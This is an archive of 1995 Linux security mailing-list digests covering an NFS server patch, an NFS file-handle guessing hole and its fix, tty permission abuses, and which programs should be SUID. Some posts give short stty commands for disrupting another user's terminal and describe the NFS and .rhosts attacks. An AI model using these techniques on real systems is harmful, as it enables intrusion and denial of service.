----------------------------------- table `!"#$%&'()*+,-./0123456789:;<=>? @ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_ begin 644 nfsd-patch-2.1.gz M'XL(`!>H82\``^4;>W_;MO%O]E,@:1Z23:FB'K8DQUDVMK8$TS@?9V3@IL1JDT:Kx MW^CV6YO$ZO5:W]5JM25DC:&3DF,G)I9%&E;?ZO5;7<3KX'CY/WS\C;:YV2#\w ME9"CP]?#L]VA86P3)'89,OB*9LFNH'*X?DA#",`PW4<5V:<'2616D8)(APu M.^$`'.$11[B%D;UL*J:@'^`O/`!;.#+UZB[0_\O>V9O#H_TA+(@WUV\1PI[&t M#!ZA_V#_9+Y_+'[M6R]6\["3:U=0%GAC_2B@@,S;O3/.M.0N2>E$0'CPXV3`s MJ3'Q\9^0C49!-*J/N?B0[19H4*WV/\=VC9#0%%8P"KQZ\D<519%%;#;-S:ZRr MB..=D].=`SXK>CME<9K4.V(N7KTK:'=),F8W8LY=(05TU534FAFRp M@'%VV$$4I.K9#6'Z#!!.W@SW;(ZU+=;'B!DB*]-I5/T-J5Qm M1((H-0P#V#4)$C=C6;*UV!=36RC=O1XMJL`)@]^HM_7=^CQ`&CLNM9,I8WX.l M65"+F$<-8TV\V*AE.1!03M#8!$AXU'>R,+5E2PX&]<*>.K$S`3)N&-`HA>X5k MA26TRBUBLNPJ$YOL-M[$`3EAUX1T2*/=M[K]=FNI[!1>7H"M?K/9;UA+!+C9j M-:WNAG+!:$2$X.XW0:VOX)-)%(L$#VHOA0Y/&`%5"/I.#6f M!`>_A$TF7^EJS"I4J&[/M'J;2J$0^(Y4\>`/H#]B^??Y\DFHCER]5)UOO/H_D*:4LZ5(29J-d MMMEL]&8;!V]H;LZ;W$J3T-"/I\F=.V9.Y(1W29`0B`-&%.)2[[&$9_%*!P2,Y!5\C%SDK'<*>I2B#<@0)(PF`@P,Z*>B?AD#;MA/K8.YF&=(*\1FH8D'@0OV>P<:`"U.MU$CJPQ=0%\@_X@\*MQ!^3=%I[a M&7^TW1AC''?X&E/R,N@+$ZSM,6\T3A`QE#,@HWz MA"P*;G'_FB1DC3\C4;YP`W?/8$LNW]"=X*TJ)02J)#;y MVEG@57FG<;\#!CD9O![L_6Q?'.Z5DQB5D1CE21PH$BBZ2@`=C2T2D!=D`2FDx M$;2OKRLVE0V9_!J\E\,6C(N]!6-_$IH._R@=`Z-%I?NT0-OO-)24D:[,#L4DCt M%W+S!AVL@"O;HSYX)HPK[EA&QLXUQ;R(@N75B=A8OL\B8"-YN_/G?7NX?[X/s M=HB;U7HYMI^,%/KZ(OJ;(1B"<"5+\+,E^!<"?\GL1S'+IDG)_`_.!A>G0US!r MRK+.8EHL$N@HES-TWI=RL]S.>$J\^!OS!VCW4N_^K4?GO_''YW:K^\?_YWS(X0Q,7]$I)J/ITG_T`$&0'Io MR<]BH&\P>:U46CO_]NSG;.?*[4P2L)J84?"W"N:RKZS_=.CG=U]^\W%R>ZPm MHDJDNFPJ"J.R+"K+I;***6N855`$-88@\E6J(*?%:R]'A\-S\0I>9;ASL"]>l M!A?GIQ?G%56X%P4PP0RII?\KS+AO%U_"GA4T7Q?&[@4MLYXBK9_U&N<9!7?Ok M$MCO&NU^I]MO-4MU/H>V4-_H]=M+"E1M,Y=E@&/2;@EB]AV(0%B<](T]!DF#j M1WZLD]?@!FALDA>7_.%5DDTA3&?QZ"5',8RS`-*$8>AX5Q1BC11?$[AC`V540OYK`W(#ZS67=HX*X'.%\C$D.\],;!S:SB7-Wg M20G\S1(8&+V8$]V1:19/64(Q+KN&",F3J)B4.)?L&G.6Z5TRVARGAF=1T"IFC5^Q2NCF7\KTG=N]9@&Q4*J"#-B3J&YU.JUW%e M7.L<d MZJ8!K.-P+^'XC\A(XXPD#C_OD$&"?0Z95Y**6/[DX.QT^'YKCB1?*T_=G/@.c MB25R7AB6EVH_H^.N;<,!//IL!@/+O6'^11G1;8&:ZHOAI2\0`b M2>J`@A&972ISMF$@&$?XM5_?\VC^$3'X*_95&B;^%P6A^#\+PZHY#V%!OV5Ba M91Z',+$V[X]-6:R_#VSE@1-\3:-:2(>.,60L:MLz [email protected],7!M$58L@)JZ9R!`3&7TX='Y9/]B8.4NHZ$-D\P`0.R(GRIV)HO4#(y MAQT)+AZ+X6%5G/B,'S&=@,=9#BWV20F.C\O!D5^"UX6,RX,F=Q,-+9]77RC?x MQ%=>YZ006$D1.I4@X5'+L@2G82)U/\DIBFC@A:\%V[)/SP85T;V*KP5UAR$]YI=<-%//!;.^?G9P6Hv M#YDQ8@]+L(N,6LSS;#`X+YGG$@M'S*/!X-W%:0GN4G/GX^[O[!T=GKQ;@E]@u M_89"?6"%>4_`<7XZ.SS?W]W9?;O_$&?O^0:-7H*YS$_P?0;F6XI<[C3$2H\'t M?WX(M<"#"-R3G>.'="U<_WX^7H*^Q-$@\O&[O<,RQ2]U.GRIs MQ\6(JS@@J4]E!)9X([Y>,+-SL0=X53X((JP$\q M4`9;""ZS%+J9SPOVA+?SI$C$JX&I\%]>)Q;'+S86/K%8p MZ8+4^?$@'A_F&[=$,8)`o M*^`-HV2J@&^]V)[1T.3T,25@0M9J>]1E'I6X94)H`L];/7UUS1%1#$7T?^%B(m M1)NQ!R='/TN6G(H#/>XR:^G=E$).]3&C28IES1N8+R1L&B=_V"<&0G.T613>l MH8"XIKLO$BW`T\QBDO9#.]2%Yv MN=Y^"KK-7_G3-`FVI0^%3MDC')&:S.]$S*]*_B:ZQ84YX=#5):=EP-(@BEC3u M[FR8[8VV]F#TUL8J`29:#C_,X$O'H]+*,S>+\4&X^)LQFD^EXH]=@/7'MBC`t M5<:UE[`D\-+@E_CE/KG7)I(GF`D_]ED6>>3YT^2Y27Q/K1](`3(>U/XI]]PGs MCU]D$::KWDOEH7FO[TF7D&?WTP0(76:^7Y4U#UXX>IVEY`8S)_!78R<9VT@Yr MX:E?Q.0>"@/\B0S9A*9C3&51]5)GMG%R5R?W*UBCIB*G/:[G6MZ>VD?[)YP%q M#94VMCMX,C6[5/G-&#W/#5+,:N20C,F^A.M_&,X6JO2F9;8W-W(GS9MML]UMp MS:+F.1X!1_T@\M`V0]B7/,)"CZ`7"OG=T(3%*?.!:>H6]F5,G2L5AZK[DD6Eo M"MB,-3_G;CKJ[P,JNNYAYD&WI4#ES4=IX=B4N^$H0EO0B4=<*<84W&P$<7!5n MR7'%/"MNG4+?B$*>]V07FS1R$=CB:H,HU\DQ%m MV7/-JVO.B?GR3S]XM0RB35[UMH>'O^"-CN/#MM`BPGKEUY!S+?VPU12+J-#;,CI7[k M\J=CM"&'U,J.5VBT=*29E=Wj MA:L)G9&^NJJ\CSSN7B&6DQ7&A2!,M!;%5[*;7=BUYIW0NH9.`)ISTh M!/RUHB[U_;&(P]77@\K9T=L@K32JJ_/[WE=QHK64W^.%"+K=[;<[R_D]7KQFg MUP&L`M"\P]LDD5M9;S9#&[.S_;f M/SL;G,GD;AWS]L+[M',C(6%5(X%QQ+T2S)P,.R7DSS8`G-T0HT^>7>e M?8@+0$D$3[DG6D'(N4^;%X63_^JY0-RY;GX__D?(+`@78*,!?T&`FXTBF>?Qd MY@6/R=.2K^GR][+-EI3Y.JFGP#=D1WT4LLN0V$H2]]I&H@V;G3`81:2-KQJ^c MSVUK"LXZ-)[22W&L!)LNOD&4JYLTQ.T,XDG%:G6K`./D&KL5Q,%6"8H?ACQIb MW':%%:>0OAF(,4/[,*+&!=HH?XOH*#3F27)PFR?0NI$83VJ6IL'1^\:431?Ga MB),Q<2EB%1)@NB4R'?#A9;P9?3UO>O\:WAQ\'6\.OH(W*]B2^E+[WAZE.XKLz M2',[6AOQ6H=!SSK!R-H3?$[>7WE&6CO.1<(Z2"+]N\O@B"O#="?G7;$,^y :E-X_",STL:Q9"\/[$A(6D/@G!\]N!'5$``"1x `w end - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBL2GsaOFnVHXv40etAQErywQA3SDyJljchTVUJponW88B6hMUMD004ObK A0FHrsIk7uI1zeP+TX1OFF03Bn6KGatlTh/mRo+Pvbs+8PX9Md3mGKkg5WH9peOB 7UEBE8x6gfaFtNHOb6O2TTp47Fw0OvjO2wCnn+TKl4D8xNpchNxGSEwTSH/eCK8E 0Tfxev081XY= =oims - -----END PGP SIGNATURE----- - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax ------------------------------ End of linux-security-digest V1 #7 ********************************** linux-security-digest/1995/v01.n008100664 1767 1767 56663 5730557773 16110 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #8 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 12 March 1995 Volume 01 : Number 008 Re: tty permissions "Find all the SUID programs." Fine. So which *should* be SUID? Re: NFS patch Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: NFS patch Re: "Find all the SUID programs." Fine. So which *should* be SUID? tty utilities follow up Re: Secure setup for file transfer Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? ---------------------------------------------------------------------- From: [email protected] Date: Sat, 11 Mar 1995 16:00:28 +0100 Subject: Re: tty permissions : > : > (I, and most people I know, have had "mesg n" in .profile the past : > twenty years or so; giving people write permission to your tty : > allows them to log you off ("stty 0 < /dev/tty1"), or do very obscure : You correctly indicate that stty operates on its INPUT. : Giving people write permission on your tty doesn't affect this. Unfortunately it does. The ioctls used by stty (via the library call tcsetattr) just operate on a file descriptor, and don't care whether it is open for reading or writing. Try "stty -onlcr > /dev/tty2 0<&1" while you are in "cat" on tty2. (The situation is obscured a bit by the fact that bash changes tty modes all the time; roughly speaking, the idea is that bash reads the tty state upon successful completion of a job, and sets the tty state when a job returns an error, or is stopped using job control; the details are more complicated.) ------------------------------ From: [email protected] (Andrew Cromarty) Date: Sat, 11 Mar 95 13:18 PST Subject: "Find all the SUID programs." Fine. So which *should* be SUID? One of the irritating and dangerous results of Unix's 20-year-old file-and-character computing model is that it leaves around thousands of accessible static objects (files) with unspecified protection requirements. Every month or so, some Unix wizard will admonish us on one Unix/Linux mailing list/newsgroup or another that we should "find / -perm ...." to locate all SUID files and inspect them for legitimacy. But this begs the question. There's no place that specifies which files *should* be SUID, or at any other permission level. Worse, since every Unix variant has a different configuration and introduces new files and directories and uses them in different ways (e.g., "*should* /proc/mem be world-readable?"), even wizards with lots of prior Unix experience can't know for sure that their Linux system is secure, just due to permissions alone. Our existing tools are pretty poor help here. As quick examples, - - Few man pages for properly-SUID programs state that this is a requirement. - - There's nothing in a program's source to specify that it should be e.g. SUID or non-world-readable, and nothing in Makefiles or installation scripts to automate implementation of such a policy. - - Even on a permission-secure system, installation scripts for new or upgraded software can inadvertently walk all over our filespace and trash its permissions without notification or documented justification. - - Programs like cops find file permission violations, but its default specs may not match the specific permission requirements for Linux, so it relies on the sysadmin to know them. It thus automates our ignorance and our errors. As a result, we're left trading lore on a list like this one, on an ad hoc piece-by-piece basis, to provide these missing specifications. And the security-spec learning curve for beginning sysadmins is formidable, especially with Linux, which has a largely single-user population, meaning almost everyone must become a sysadmin. You _know_ the moderators of this list are going to spend the next few years culling the same questions again and again about shadow passwords, world-readable /dev/tty, ftp setup, etc. Even a (much-needed) Linux Security-HOWTO or FAQ won't really solve this problem. So, two questions: 1. What's a good Linux-specific spec for file permissions, against which we can compare our "find" and "cops" output? I.e. what *should* be SUID, SGID, world-unreadable, etc.? 2. What's a better solution to Linux security specification? E.g. what would it take to build into Linux some facility (short of ACLs or capabilities) that specifies and monitors access permissions, rather than requiring the sysadmin to carry around complete knowledge of the entire system's security requirements in his/her head? (It probably would need to handle site-specific customizations too.) As one example, it would be straightforward to construct an expert system to manage Linux security, if we could simply codify the specification knowledge. In short, what would be better than "cops plus a these-files-should-be-SUID list"? asc ------------------------------ From: Jeff Uphoff Date: Sat, 11 Mar 1995 18:37:04 -0500 Subject: Re: NFS patch - -----BEGIN PGP SIGNED MESSAGE----- "OK" == Olaf Kirch writes: OK> Here's a patch to nfsd that should fix the hole I've reported earlier. OK> It's against a clean nfs-server-2.0 source. Could you please check if the OK> patch breaks anything for you? It works for me, but I wouldn't want to OK> release it publicly without some sort of double-check. It (the daemon patches) seems to work for me perfectly. That spoofing program you wrote worked as well (unfortunately); I could wander all over a remote machine's directory tree via NFS (to a machine that wasn't exporting anything to anybody, but running 'nfsd' anyway), though I could not write to the FS or resolve symlinks properly--files were wide open for reading however... Installing a patched 'nfsd' on the target machine blocked this as intended, yet allowed normal access once I added a proper entry to the fstab. Lets see what feedback we get (everyone that can, please try this patch out ASAP) and then we'll probably make an "alert" in the next day or so and make the patch available. This appears to be a _bad_ hole! OK> * Use setfsuid/setfsgid for setting owner/group on file OK> access rather than seteuid. As these functions are not OK> yet in libc-4.6.27, there's a small assembler file OK> that implements them. I've got libc-4.6.29 (from Ted Ts'o's "private" area on tsx-11); it has these functions, but your assembly file seems to work as well... OK> * Implement root_squash and no_root_squash mount options. Works for me. - - --Up. - -----BEGIN PGP SIGNATURE----- Version: 2.6.1 iQCVAwUBL2I0ArxzFUpUTHgFAQEDLgQA2B0ZgVTibxMDPeLWaW8icfyd4crd/6cP j6W+F/IjffGTCiIyldiH7wrGf3KyuPER37gUmxXEcLxESpPVby4ShB/DsgZ1eml/ tie6wOLjWmdZdGhU6YTM2HcsAL3LjoCnaLYbPwZFo739at6H0npgDTEJ16lyBMRz LVKxWY9rotU= =HhYa - -----END PGP SIGNATURE----- - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: [email protected] (Olaf Kirch) Date: Sun, 12 Mar 1995 00:44:09 +0100 (MET) Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? Andrew Cromarty wrote: > As one example, it would be > straightforward to construct an expert system to manage Linux security, > if we could simply codify the specification knowledge. In short, what > would be better than "cops plus a these-files-should-be-SUID list"? I second that (although I doubt that it would be straightforward). There are a couple of holes in common Linux distributions that simply result from wrong permission settings. I came about some particularly nasty ones in Slackware 2.0 (not sure about the number) which had world-writable home directories for uucp and mail (.rhosts attack), and had the suid bit set on uuchk and uuconv (uuchk being suid to uucp is bad because it lets anyone read all your UUCP passwords). Any such checking tool would have to be clever about the software packages present (e.g. telling INN from C News), and look for them in different places. It'd also be nice if it was able to automatically construct a tripwire configuration file for a particular installation. Anyone got some spare time one their hands? :-) Cheers Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax ------------------------------ From: Jeff Uphoff Date: Sat, 11 Mar 1995 19:44:22 -0500 Subject: Re: NFS patch I have just verified that Olaf's patches to the NFS server also work fine using the libc-based setfsuid() and setfsgid() calls (he provided an assembly-based set of these calls in his patch for those not running bleeding-edge libc's). I used the ELF gcc-2.6.4-950218 and libc-4.6.29 for this...a.out should be fine too then, I expect (though have not verified). Quick note (so people don't think that I've gone daft): My last post mentioned my adding a proper entry to the fstab to set NFS access--I of course meant /etc/exports. That was an eyes-glazed-over-from-hacking typo... - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: Elias Levy Date: Sat, 11 Mar 1995 18:39:43 -0800 (PST) Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? On Sat, 11 Mar 1995, Andrew Cromarty wrote: > 1. What's a good Linux-specific spec for file permissions, against which > we can compare our "find" and "cops" output? I.e. what *should* be > SUID, SGID, world-unreadable, etc.? > There is none. See below. > 2. What's a better solution to Linux security specification? E.g. what would > it take to build into Linux some facility (short of ACLs or capabilities) > that specifies and monitors access permissions, rather than requiring the > sysadmin to carry around complete knowledge of the entire system's security > requirements in his/her head? (It probably would need to handle > site-specific customizations too.) As one example, it would be > straightforward to construct an expert system to manage Linux security, > if we could simply codify the specification knowledge. In short, what > would be better than "cops plus a these-files-should-be-SUID list"? Yes an expert system would be nice. And it can be partially built. But every linux system is diferent. You run sendmail, I run smail, and who know what that other guy runs. The point is to create an expert system firts you need to have a knowlege base to codify. Which puts the burden on the distribution makers because they are the only ones that know what go into the distrubution. And the database would be exclusive the that distribution. Further more it would be violated once you install any software from the net. So it would help but it would certanly not solve the problem. [email protected] (Elias Levy) PowerNet, Inc. ------------------------------ From: Rik Faith Date: Sun, 12 Mar 1995 01:21:19 -0500 Subject: tty utilities follow up I have implemented the following semantics for util-linux-2.3 (not yet released, but see below): If USE_TTY_GROUP is defined at compile time (the new default): login: changes the group of the tty to "tty" changes the mode of the tty to 620 mesg: n changes the mode to 600, y changes the mode to 620 wall and write are setgid to "tty" If USE_TTY_GROUP is _not_ defined at compile time (for backward compatibility): login: changes the mode of the tty to 600 mesg: n changes the mode to 600 y changes the mode to 622 wall and write are not setgid write has always prevented the sending of arbitrary escape sequences. I have implemented similar prevention in wall and shutdown. What else needs to be done: The sysvinit maintainer needs to implement similar changes for mesg, wall/write, and shutdown in the sysvinit package The shadow password suite maintainer needs to implement similar changes for login X11R6 needs to be configured so that USE_TTY_GROUP is defined when xterm is compiled (no patches are needed, but this is not the default configuration for Linux in the pristine MIT sources -- this should be changed when all of the associated Linux programs support this scheme). Maintainers of utilities like talk need to implement similar changes, if they are not already supported. If you would like to play with these changes, I have placed a snapshot of the sources at ftp.cs.unc.edu:/pub/users/faith/linux/util-linux-pre2.3.tar.gz [Please note that the shutdown contained in this package is not compatible with the sysvinit shutdown, and that the login is not shadow-aware unless special care is taken (shadow will be better supported in util-linux once the community has resolved the related copyright and implementation issues). However, the mesg, wall, and write programs should work on all systems (although not very well if xterm and login do not cooperate with this scheme).] ------------------------------ From: Elias Levy Date: Sat, 11 Mar 1995 20:35:19 -0800 (PST) Subject: Re: Secure setup for file transfer On Thu, 9 Mar 1995, Rik Faith wrote: > Can you explain this? X must run as root to get access to the underlying > hardware (e.g., via the iopl(2) or ioperm(2) calls). Are you using a > suid'd wrapper to check for a console login in order to get X running as > root without using the setuid bit on the X binary itself? This seems like > a bit of overprotectivity to me. If I'm logged in at the console (not > running X), and someone starts X, I can just switch VC's. > Sure. Like you said i run a small wrapper that checks that the user is in group xwin and then runs the X server. Well yes with X you can simply chage VC's, but with something like SuperProbe your display can go into a mess you will not be able to fix unless you reboot. What I would like to see is these systems call check the uid of the process and allow access to these io areas if some file in /etc or something passed with lilo at boot would allow it. These ways systems like X where the drivers are in user space would not have to be suid root. > Just a note on tty security in general. I haven't had my tty "screwed up" > by someone in over 10 years -- and I really don't see this issue as a big > security risk. In general, it is very hard to prevent denial of service > attacks under unix, especially when any user can use up all the available > memory or many of the process slots on the machine. Maybe people are > seeing these sorts of attacks in undergraduate computing environments or > some other special situations? Maybe sysadmins in those situations should > implement better social controls and disciplinary actions. I know that if > someone in our academic computing environment tried this juvenile tty crap, > they'd hear from several sysadmins, a few professors, and a bunch of > students: this type of antisocial behavior would simply not be tolerated. > Have your tty screwed is not a nice thing. And just because the are many other ways to create denial of service attacks does not mean we have to do nothing about it. Your tty can be screwed from remote. So it does not have to be an undergraduate computing evironment. We al heard of flash (talkd) and I can simply send you a mail message that will screw your tty the moment you load pine, elm, etc. > I'm mostly concerned with attacks that will allow an ordinary user to > become root; or that will allow a non-user to gain access to my system or > its files (e.g., network attacks). > [email protected] (Elias Levy) PowerNet, Inc. ------------------------------ From: Benedikt Stockebrand Date: Sun, 12 Mar 1995 05:55:46 +0100 Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? | 2. What's a better solution to Linux security specification? Coding the proper permissions inside the binaries. Make the program check its own permissions upon startup and add an option like "--check-own-permissions" to it. | (It probably would need to handle site-specific customizations too.) That way you could put the customization into the Makefile. | In short, what | would be better than "cops plus a these-files-should-be-SUID list"? Another script that first finds all SUID programs and then runs them with that --check-own-permissions option. It should be possible to "force" this feature into all available programs by modifying the gcc startup module, i.e. before main() is called this check is always automatically performed. Now don't tell me this is a kludge. I know :-) Now let's hear some comments. Ben - ----------------------------------------------------------------------- Benedikt (Ben) Stockebrand ([email protected]) Dortmund, Germany And don't tell me about Benedict Arnold anymore... - ----------------------------------------------------------------------- ------------------------------ From: [email protected] (Panzer Boy) Date: 12 Mar 1995 03:13:23 -0500 Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? Andrew Cromarty ([email protected]) wrote: : 1. What's a good Linux-specific spec for file permissions, against which : we can compare our "find" and "cops" output? I.e. what *should* be : SUID, SGID, world-unreadable, etc.? Well. Here's my output. Not a defacto standard in any way. But at least a start. ('lusers' group is made up entirely of people who have physical access to the machine) *** X11 Stuff, both R5 & R6, Servers are only runable by 'lusers' - -rwsr-x--- 1 root lusers 947204 May 8 1994 /usr2/X11/bin/XF86_S3 - -rwsr-x--- 1 root lusers 951300 May 8 1994 /usr2/X11/bin/XF86_SVGA - -rwsr-xr-x 1 root bin 9220 Mar 10 1994 /usr2/X11/bin/xload - -rwsr-xr-x 1 root bin 119812 Mar 10 1994 /usr2/X11/bin/xterm - -rwsr-xr-x 1 root bin 119812 May 6 1994 /usr2/X11/bin/color_xterm - -rwsr-x--- 1 root lusers 1474029 Sep 28 03:52 /usr2/X11R6/bin/XF86_S3 - -rwsr-x--- 1 root lusers 1611448 Sep 28 03:52 /usr2/X11R6/bin/XF86_SVGA - -rwsr-xr-x 1 root root 119812 Sep 28 03:50 /usr2/X11R6/bin/xterm - -rwsr-xr-x 1 root root 9220 Sep 28 04:04 /usr2/X11R6/bin/xload *** Procmail, Screen, and tin (suid news) - -rwsr-sr-x 1 root mail 41988 Aug 12 1994 /usr2/local/bin/procmail - -rwsr-xr-x 1 root root 144388 May 6 1994 /usr2/local/bin/screen - -rwsr-sr-x 1 news news 222212 Aug 12 1994 /usr2/local/bin/tin *** SVGALib stuff, again only 'lusers' if at all - -rwsr-x--- 1 root lusers 1916 May 26 1994 /usr2/local/bin/restorefont - -rwsr-x--- 1 root lusers 2140 May 26 1994 /usr2/local/bin/restorepalette - -rwsr-x--- 1 root lusers 1900 May 26 1994 /usr2/local/bin/restoretextmode - -rwsr-x--- 1 root lusers 1236 May 26 1994 /usr2/local/bin/dumpreg - -rwsr-x--- 1 root lusers 2048 May 26 1994 /usr2/local/bin/fix132x43 - -rwsr-x--- 1 root lusers 1420 Sep 22 23:20 /usr2/local/bin/setmclk *** Skey stuff, modifies a file similar to passwd - -rwsr-xr-x 1 root root 29700 Sep 22 23:20 /usr2/local/bin/skey.init *** System utils that mod files in restricted space - -rwsr-xr-x 1 root bin 10120 Mar 14 1994 /usr/bin/at - -r-sr-xr-x 1 root bin 17412 Dec 12 1993 /usr/bin/crontab - -rws--x--x 1 root root 21508 May 6 1994 /usr/bin/chage - -rwsr-xr-x 1 root root 17412 May 6 1994 /usr/bin/chfn - -rwsr-xr-x 1 root root 13316 May 6 1994 /usr/bin/chsh *** Printing only for 'lusers' - -rwsr-s--- 1 root lusers 9300 Jul 2 1994 /usr/bin/lpq - -rwsr-s--- 1 root lusers 10008 Jul 2 1994 /usr/bin/lpr - -rwsr-s--- 1 root lusers 8772 Jul 2 1994 /usr/bin/lprm *** Deliver should probably be in /usr/local/bin, but slackware has strange way of installing some packages - -rws--x--x 1 root mail 37892 Dec 1 1993 /usr/bin/deliver *** To allow the program to initiate connections from lower ports, though I for the most part don't see why this needs to be done. - -r-sr-xr-x 1 root bin 13316 Feb 12 1994 /usr/bin/rlogin - -r-sr-xr-x 1 root bin 9220 Feb 12 1994 /usr/bin/rsh - -r-sr-xr-x 1 root root 5584 Feb 2 1994 /usr/bin/traceroute *** UUCP stuff, if you never plan on using it, get rid of uucp access - -r-sr-xr-x 1 uucp bin 91140 Dec 2 1993 /usr/bin/cu - -r-sr-xr-x 1 uucp bin 62468 Dec 2 1993 /usr/bin/uux - -r-sr-xr-x 1 uucp bin 58372 Dec 2 1993 /usr/bin/uucp - -r-sr-xr-x 1 uucp bin 29700 Dec 2 1993 /usr/bin/uuname - -r-sr-xr-x 1 uucp bin 70660 Dec 2 1993 /usr/bin/uustat - -r-sr-s--- 1 uucp uucp 41988 Dec 2 1993 /usr/lib/uucp/uuchk - ---s--s--x 1 uucp uucp 164868 Dec 2 1993 /usr/lib/uucp/uucico - -r-sr-s--- 1 uucp uucp 70660 Dec 2 1993 /usr/lib/uucp/uuconv - -r-sr-s--- 1 uucp uucp 300 Dec 2 1993 /usr/lib/uucp/uusched - ---s--s--x 1 uucp uucp 70660 Dec 2 1993 /usr/lib/uucp/uuxqt *** We run pgp-sendmail, which sits in front of sendmail.real, non-suid - -r-sr-sr-x 1 root mail 160772 Mar 10 18:50 /usr/lib/sendmail.real *** /bin/login doesn't need to suid root, as it should for the most part only be called by root owned procs. ping for icmp. passwd stuff for access to restricted shells. - -r-s--x--x 1 root root 29700 Aug 21 1994 /bin/login - -r-s--x--x 1 root root 50180 Aug 28 1994 /bin/login.skey - -r-s--x--x 1 root root 16956 Nov 16 1993 /bin/su - -r-s--x--x 1 root root 41988 Aug 28 1994 /bin/su.skey - -rws--x--x 1 root bin 8716 Feb 12 1994 /bin/ping - -rws--x--x 1 root root 25604 May 6 1994 /bin/passwd - -rws--x--x 1 root root 17412 May 6 1994 /bin/gpasswd - -rws--x--x 1 root root 17412 May 6 1994 /bin/newgrp Those are mine, though if someone notices something that shouldn't be as it is, please email me... :) Also remember anything run from rc files will be run as root, and anything run from inetd will be also. - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: Elias Levy Date: Sat, 11 Mar 1995 23:25:44 -0800 (PST) Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? On Sun, 12 Mar 1995, Benedikt Stockebrand wrote: > Coding the proper permissions inside the binaries. Make the program > check its own permissions upon startup and add an option like > "--check-own-permissions" to it. > [snip] And just who decides what are the proper permissionsfor every diferent package? Thats the real problem. [email protected] (Elias Levy) PowerNet, Inc. ------------------------------ End of linux-security-digest V1 #8 ********************************** linux-security-digest/1995/v01.n009100664 1767 1767 45207 5730754053 16067 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #9 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 13 March 1995 Volume 01 : Number 009 NFS spoof tool NFS Vulnerability Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Closing suid root holes Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: NFS patch Re: "Find all the SUID programs." Fine. So which *should* be SUID? ---------------------------------------------------------------------- From: [email protected] (Olaf Kirch) Date: Sun, 12 Mar 1995 18:05:47 +0100 (MET) Subject: NFS spoof tool Hello all, I've had quite a number of requests for my sample NFS spoofing code. I don't feel quite comfortable about releasing it to the general public yet before everyone had their chance of upgrading. However, I'm making it available to people on this list. Please don't spread it around too much. The file is on linux.nrao.edu in /pub/people/okir/private/bemyguest/nfspoof.c. The private directory is not readable, so you have to cd through it blindly. On a different issue: I'd like to conduct a little straw poll on making NFS file handles more secure. I've thought about encrypting FHs using DES or IDEA. Stuffing a checksum into the FH may not be that good, because the server as it is stores a hashed path in the handle. With the current concept, this allows for 27 or so nested directories not counting the root. Storing a complete MD5 hash would reduce this to 11 levels. SHA takes up 20 bytes, so that would leave 7 levels. Any comments? There's of course the question of US export law. I'd like to hear opinions on this, too; but please send them to me in private email. Regards, Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax ------------------------------ From: [email protected] (Olaf Kirch) Date: Sun, 12 Mar 1995 18:04:07 +0100 (MET) Subject: NFS Vulnerability ALERT - Announcement of the Linux Emergency Response Team :) The current Linux NFS server (version 2.0) has a couple of security problems some of which have been known for a while and supposedly been fixed a long time ago. However, none of the versions I found on the usual FTP sites had these fixes incorporated. On top of that, I discovered a few days ago that you can easily trick it by guessing NFS file handles. This particularly nasty hole allows anyone to mount your entire file system and view all files (kiss your shadow protected passwords goodbye :->). I have written a sample program that demonstrates this hole and will release it at a later date. Release 2.1 of the Universal NFS server fixes these security holes. It does the following things: * Authenticate NFS file handles on every request. Support for it was there, but didn't work in all cases. Authentication code is not yet optimized. Especially for sites that have wildcard names in their /etc/exports, this may cause performance problems. I'll be working on a revamped authentication code that does this faster. * Use setfsuid/setfsgid for setting owner/group on file access rather than seteuid. With the old seteuid method, any user on the system could kill the server. The setfsuid/setfsgid functions were not implemented in libc-4.6.27, so I added a small assembler file that implements them. libc-4.6.29 seems to have them, though. There seem to have been patches that fixed this particular bug before, but they never seem to have made it to any FTP server. * Implement root_squash and no_root_squash mount options. There was a fix for this posted to Usenet recently which implemented the root_squash option. Release 2.1 obsoletes this patch. The complete source is available as nfs-server-2.1.tar.gz from linux.nrao.edu in /pub/people/okir/nfsd. It should compile out of the box, and reportedly works with gcc-ELF, too. In the same directory, you will find a binary release of portmap-3, written by Wietse Venema. I highly recommend you use it, because older versions of portmap have a couple of problems that can result in users on your system gaining root access and/or foreign machines mounting directories from your system via NFS. Attached to the end of this message, you find the MD5 and PGP signatures for both files. The PGP signature can be verified with my public key (you can obtain the key by fingering [email protected]). To verify the PGP signatures, save each of them to a separate file and pipe them into pgp. Regards, Olaf - --------------------- linux-security BLURB ------------------------- To find out about the linux-security and linux-alert mailing lists, send mail to [email protected] with the following commands in the message body: help lists end The mailing lists are also archived at linux.nrao.edu; 